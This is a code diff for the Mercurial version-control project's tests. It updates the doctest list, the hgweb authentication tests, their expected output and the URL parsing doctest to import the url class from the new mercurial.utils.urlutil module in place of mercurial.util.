diff --git a/tests/test-doctest.py b/tests/test-doctest.py
--- a/tests/test-doctest.py
+++ b/tests/test-doctest.py
@@ -158,6 +158,7 @@
         ('mercurial.util', '{}'),
         ('mercurial.utils.dateutil', '{}'),
         ('mercurial.utils.stringutil', '{}'),
+        ('mercurial.utils.urlutil', '{}'),
         ('tests.drawdag', '{}'),
         ('tests.test-run-tests', '{}'),
         ('tests.test-url', "{'optionflags': 4}"),
diff --git a/tests/test-hgweb-auth.py b/tests/test-hgweb-auth.py
--- a/tests/test-hgweb-auth.py
+++ b/tests/test-hgweb-auth.py
@@ -10,7 +10,10 @@
     url,
     util,
 )
-from mercurial.utils import stringutil
+from mercurial.utils import (
+    stringutil,
+    urlutil,
+)
 
 urlerr = util.urlerr
 urlreq = util.urlreq
@@ -60,7 +63,7 @@
         print('URI:', pycompat.strurl(uri))
         try:
             pm = url.passwordmgr(ui, urlreq.httppasswordmgrwithdefaultrealm())
-            u, authinfo = util.url(uri).authinfo()
+            u, authinfo = urlutil.url(uri).authinfo()
             if authinfo is not None:
                 pm.add_password(*_stringifyauthinfo(authinfo))
             print(
@@ -198,10 +201,12 @@
 def testauthinfo(fullurl, authurl):
     print('URIs:', fullurl, authurl)
     pm = urlreq.httppasswordmgrwithdefaultrealm()
-    ai = _stringifyauthinfo(util.url(pycompat.bytesurl(fullurl)).authinfo()[1])
+    ai = _stringifyauthinfo(
+        urlutil.url(pycompat.bytesurl(fullurl)).authinfo()[1]
+    )
     pm.add_password(*ai)
     print(pm.find_user_password('test', authurl))
 
 
-print('\n*** Test urllib2 and util.url\n')
+print('\n*** Test urllib2 and urlutil.url\n')
 testauthinfo('http://user@example.com:8080/foo', 'http://example.com:8080/foo')
diff --git a/tests/test-hgweb-auth.py.out b/tests/test-hgweb-auth.py.out
--- a/tests/test-hgweb-auth.py.out
+++ b/tests/test-hgweb-auth.py.out
@@ -211,7 +211,7 @@
 URI: http://example.org/foo
      abort
 
-*** Test urllib2 and util.url
+*** Test urllib2 and urlutil.url
 
 URIs: http://user@example.com:8080/foo http://example.com:8080/foo
 ('user', '')
diff --git a/tests/test-url.py b/tests/test-url.py
--- a/tests/test-url.py
+++ b/tests/test-url.py
@@ -275,7 +275,7 @@
 def test_url():
     """
     >>> from mercurial import error, pycompat
-    >>> from mercurial.util import url
+    >>> from mercurial.utils.urlutil import url
     >>> from mercurial.utils.stringutil import forcebytestr
 
     This tests for edge cases in url.URL's parsing algorithm. Most of